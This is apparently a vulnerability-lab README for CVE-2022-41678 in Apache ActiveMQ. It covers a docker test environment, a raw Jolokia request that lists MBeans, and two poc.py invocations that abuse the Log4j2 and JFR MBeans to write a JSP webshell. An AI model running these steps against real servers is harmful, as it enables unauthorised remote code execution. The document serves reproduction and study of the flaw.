# Apache ActiveMQ Jolokia Authenticated Remote Code Execution (CVE-2022-41678)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
Apache ActiveMQ is an open source messaging middleware developed by the American Pachitea (Apache) Software Foundation that supports Java messaging services, clustering, Spring framework, and more.
|
|
|
|
Apache ActiveMQ prior to 5.16.5, 5.17.3, there is a authenticated RCE exists in the Jolokia `/api/jolokia`.
|

|
|
|
|
## Vulnerable Environment
|
|
|
|
Execute following command to start a Apache ActiveMQ 5.17.3:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After server is started, open the `http://your-ip:8161/` and input username and password with `admin` and `admin`. Then you will see the index page of Apache ActiveMQ.
|
|
|
|
## Exploit
|
|
|
|
Firstly, listing all avaiable MBeans in Apache ActiveMQ by `/api/jolokia/list`:
|
|
|
|
```
|
|
GET /api/jolokia/list HTTP/1.1
|
|
Host: localhost:8161
|
|
Accept-Encoding: gzip, deflate, br
|
|
Accept: */*
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
|
|
Connection: close
|
|
Cache-Control: max-age=0
|
|
Authorization: Basic YWRtaW46YWRtaW4=
|
|
Origin: http://localhost
|
|
|
|
|
|
```
|
|
|
|

|
|
|
|
There are 2 exploitable MBeans that are able to perform RCE in this list.
|
|
|
|
## Method #1
|
|
|
|
The first one is using the `org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean`, a MBean provided by Log4j2.
|
|
|
|
Attacker can use this MBean to update the Log4j configuration and write logs to arbitrary directories.
|
|
|
|
I prepared a [poc](poc.py) to reproduce the whole process:
|
|
|
|
```
|
|
python poc.py -u admin -p admin http://your-ip:8161
|
|
```
|
|
|
|

|
|
|
|
Webshell is written to `/admin/shell.jsp` successfully:
|
|
|
|

|
|
|
|
This method is limited by version of ActiveMQ, since Log4j2 was introduced in Apache ActiveMQ 5.17.0.
|
|
|
|
## Method #2
|
|
|
|
The second one is using the `jdk.management.jfr.FlightRecorderMXBean` MBean.
|
|
|
|
FlightRecorder was introduced in OpenJDK 11, users are able to use FlightRecorderMXBean to create record and save it to a file. This feature is also can be used to write webshell.
|
|
|
|
Use [poc](poc.py) to reproduce the whole process:
|
|
|
|
```
|
|
python poc.py -u admin -p admin --exploit jfr http://localhost:8161
|
|
```
|
|
|
|

|
|
|
|
Webshell is written to `/admin/shelljfr.jsp` successfully:
|
